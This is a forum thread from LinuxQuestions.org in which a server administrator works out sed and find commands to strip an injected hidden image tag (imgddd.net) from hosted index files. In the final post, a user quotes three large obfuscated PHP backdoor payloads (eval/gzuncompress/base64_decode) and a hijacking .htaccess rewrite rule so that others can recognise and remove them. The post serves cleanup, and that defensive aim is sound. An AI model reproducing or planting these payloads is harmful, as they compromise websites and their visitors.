LinuxQuestions.org
Share your knowledge at the LQ Wiki.
Home Forums Tutorials Articles Register
Go Back   LinuxQuestions.org > Forums > Linux Forums > Linux - General
User Name
Password
Linux - General This Linux forum is for general Linux questions and discussion.
If it is Linux Related and doesn't seem to fit in any other forum then this is the place.

Notices


Reply
  Search this Thread
Old 04-28-2011, 12:07 PM   #1
spithakos
LQ Newbie
 
Registered: Mar 2010
Posts: 10

Rep: Reputation: 0
SED Usage to delete an injection


Trying to delete injected code (one line) into multiple .php and .html files of a server with sed command but it seems there is a problem with sed when " and / are included in the string to be deleted.

The string that needs to be deleted is
<img heigth="1" width="1" border="0" src="http://imgddd.net/t.php?id=16382836">

However the last part of the string (id=########) is not constant (the number is variable) so I used the following:

find /home -type f -iname \index.html\* -o -iname \index.php\* -o -iname \index.html\* -o -iname \index*\*| while read FILE; do sed -i "s|<img heigth="1" width="1" border="0" src="http:\\imgddd.net*">||g" "${FILE}"; done

For some reason it successfuly deleted the injection on .html files but NOT in .php files

Any suggestions?
 
Old 04-28-2011, 01:32 PM   #2
jschiwal
LQ Guru
 
Registered: Aug 2001
Location: Fargo, ND
Distribution: SuSE AMD64
Posts: 15,733

Rep: Reputation: 682Reputation: 682Reputation: 682Reputation: 682Reputation: 682Reputation: 682
Code:
sed -i "s|<img heigth="1" width="1" border="0" src="http:\\imgddd.net*">||g" "${FILE}"
You are using a shell style wild cards: "net*
To match any character use: .*
The dot matches any character. The * substitutes for any number of the preceding pattern, including zero.
The backslash needs to be escaped, since it is the metacharacter used to escape characters. This means using \\ for each \.

You might want to use: [^"]*
This matches any number of characters which aren't the " character.

Also look at [[:digit:]] or [0-9] to match digits.
[[:digit:]]* for zero or more digits
[[:digit:]][[:digit:]]* for one or more digits.
You can use the option for extended regex expressions and use
[[:digit:]]+ for one or more digits.

Hoever in this particular case:
s|<img[^>]*src=http:\\\\imgddd\.net[^>]*>||g should be enough to contain the entire pattern and prevent false positives if http:\\imgddd.net is unique to the lines you want to remove.

---
Also, if the filenames might contain white space one technique is to use -print0 in find, and | xargs -0 <command> to process the files. Another method is to pipe the output of a list through "tr '\n' '\0'" between find (or cat filelist) and xargs. This is to prevent the "while read FILE" line from reading a filename as two or more arguments.

Last edited by jschiwal; 04-28-2011 at 01:38 PM.
 
Old 04-28-2011, 01:49 PM   #3
crts
Senior Member
 
Registered: Jan 2010
Posts: 2,020

Rep: Reputation: 757Reputation: 757Reputation: 757Reputation: 757Reputation: 757Reputation: 757Reputation: 757
Quote:
Originally Posted by spithakos View Post
Trying to delete injected code (one line) into multiple .php and .html files of a server with sed command but it seems there is a problem with sed when " and / are included in the string to be deleted.

The string that needs to be deleted is
<img heigth="1" width="1" border="0" src="http://imgddd.net/t.php?id=16382836">

However the last part of the string (id=########) is not constant (the number is variable) so I used the following:

find /home -type f -iname \index.html\* -o -iname \index.php\* -o -iname \index.html\* -o -iname \index*\*| while read FILE; do sed -i "s|<img heigth="1" width="1" border="0" src="http:\\imgddd.net*">||g" "${FILE}"; done

For some reason it successfuly deleted the injection on .html files but NOT in .php files

Any suggestions?
Hi,

in your example string you are using
http://

but in your sed-statement you are using backslashes. Is this a typo?

To avoid the double-quote issue you can enclose your sed-statement in single-quotes. Since no variables need to be expanded this should be ok.

[EDIT]
Can you give some examples how the files are named you are searching for? I see backslashes in your find command; some of them might be falsely interpreted as escape sequence and therefore you miss some files.

Last edited by crts; 04-28-2011 at 01:53 PM.
 
Old 04-28-2011, 03:19 PM   #4
spithakos
LQ Newbie
 
Registered: Mar 2010
Posts: 10

Original Poster
Rep: Reputation: 0
Quote:
Originally Posted by crts View Post
Hi,

in your example string you are using
http://

but in your sed-statement you are using backslashes. Is this a typo?

To avoid the double-quote issue you can enclose your sed-statement in single-quotes. Since no variables need to be expanded this should be ok.

[EDIT]
Can you give some examples how the files are named you are searching for? I see backslashes in your find command; some of them might be falsely interpreted as escape sequence and therefore you miss some files.

Thanks for your reply,
Yes it is a typo http:// is the one that used in the sed command allready without success.
The injection is found in index.html and index.php files in user accounts.
 
Old 04-28-2011, 03:33 PM   #5
spithakos
LQ Newbie
 
Registered: Mar 2010
Posts: 10

Original Poster
Rep: Reputation: 0
Quote:
Originally Posted by jschiwal View Post
Code:
sed -i "s|<img heigth="1" width="1" border="0" src="http:\\imgddd.net*">||g" "${FILE}"
You are using a shell style wild cards: "net*
To match any character use: .*
The dot matches any character. The * substitutes for any number of the preceding pattern, including zero.
The backslash needs to be escaped, since it is the metacharacter used to escape characters. This means using \\ for each \.

You might want to use: [^"]*
This matches any number of characters which aren't the " character.

Also look at [[:digit:]] or [0-9] to match digits.
[[:digit:]]* for zero or more digits
[[:digit:]][[:digit:]]* for one or more digits.
You can use the option for extended regex expressions and use
[[:digit:]]+ for one or more digits.

Hoever in this particular case:
s|<img[^>]*src=http:\\\\imgddd\.net[^>]*>||g should be enough to contain the entire pattern and prevent false positives if http:\\imgddd.net is unique to the lines you want to remove.

---
Also, if the filenames might contain white space one technique is to use -print0 in find, and | xargs -0 <command> to process the files. Another method is to pipe the output of a list through "tr '\n' '\0'" between find (or cat filelist) and xargs. This is to prevent the "while read FILE" line from reading a filename as two or more arguments.

Thanks for your reply
By mistake I used backslashes and not slashes in this post while the string used in the sed was http://imgddd.net and not http:\\imgddd.net without success.
Does the slash needs to be escaped also?

Yes the http://imgddd.net is unique to all injections so using s|<img[^>]*src=http:\\\\imgddd\.net[^>]*>||g (with the appropriate corrections for slashes and not backslashes) will delete the line?
 
Old 04-28-2011, 03:50 PM   #6
crts
Senior Member
 
Registered: Jan 2010
Posts: 2,020

Rep: Reputation: 757Reputation: 757Reputation: 757Reputation: 757Reputation: 757Reputation: 757Reputation: 757
As I mentioned earlier, your find command is probably flawed. Try this
Code:
find /home -type f \( -iname index.html -o -iname index.php \) -exec sed -i 's|<img heigth="1" width="1" border="0" src="http://imgddd.net*">||g' '{}' \;
I assume that you only want to change files that are either named index.html or index.php.

Last edited by crts; 04-29-2011 at 02:37 AM. Reason: typo
 
Old 04-28-2011, 06:02 PM   #7
jschiwal
LQ Guru
 
Registered: Aug 2001
Location: Fargo, ND
Distribution: SuSE AMD64
Posts: 15,733

Rep: Reputation: 682Reputation: 682Reputation: 682Reputation: 682Reputation: 682Reputation: 682
If you used forward slashes as a separator in the sed commands, you would need to escape the slashes in the expressions; however you used `|' instead to avoid that problem. So in this example you don't need to escape forward slashes.

Using sed, it can be a trick to identify what the matching patterns will be that won't produce false positives. Sometimes you need 2 or more commands to cover border cases as well.

Good Luck.

Last edited by jschiwal; 04-28-2011 at 06:06 PM.
 
Old 04-29-2011, 02:32 AM   #8
spithakos
LQ Newbie
 
Registered: Mar 2010
Posts: 10

Original Poster
Rep: Reputation: 0
The following worked finally
Code:
 find /home/ -type f \( -iname index.html -o -iname index.php \) | while read FILE; do sed -i "s|<img[^>]*imgddd\.net[^>]*>||g" "${FILE}"; done
Thank you both for your valuable assistance
 
Old 05-03-2011, 09:30 AM   #9
darshanmm
LQ Newbie
 
Registered: May 2011
Posts: 1

Rep: Reputation: 0
Hello guys,

those who are facing problem with that virus, pls check their hosting account for some malicious files specifically 2 php files with some different names. it contains code like this :
Code:
<? eval(gzuncompress(base64_decode('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'))); ?><? eval(gzuncompress(base64_decode('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'))); ?><? eval(gzuncompress(base64_decode('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'))); ?>
Also try to check .htaccess file which will be like this :
Code:
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.*)$ /pets.php?q=$1 [L]
</IfModule>
It is very possible that there will be some different php file name instead of pets.php. so remove all those messy stuff from your hosting and you will good to go from there.

Thanks,
Dev

Last edited by XavierP; 05-04-2011 at 11:40 AM.
 
  


Reply



Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off



Similar Threads
Thread Thread Starter Forum Replies Last Post
[SOLVED] Help sed delete before and after tuxtutorials Linux - Software 2 01-04-2011 06:40 PM
Sed usage treed Programming 4 03-22-2009 05:39 PM
SED newline usage question -- I think sadarax Linux - General 3 02-18-2006 11:50 PM
sed usage(only repace one occurance) feetyouwell Linux - Software 7 01-31-2005 02:25 PM
sed usage(only repace one occurance) feetyouwell Linux - Software 2 01-31-2005 04:08 AM

LinuxQuestions.org > Forums > Linux Forums > Linux - General

All times are GMT -5. The time now is 04:08 AM.

Main Menu
Advertisement
My LQ
Write for LQ
LinuxQuestions.org is looking for people interested in writing Editorials, Articles, Reviews, and more. If you'd like to contribute content, let us know.
Main Menu
Syndicate
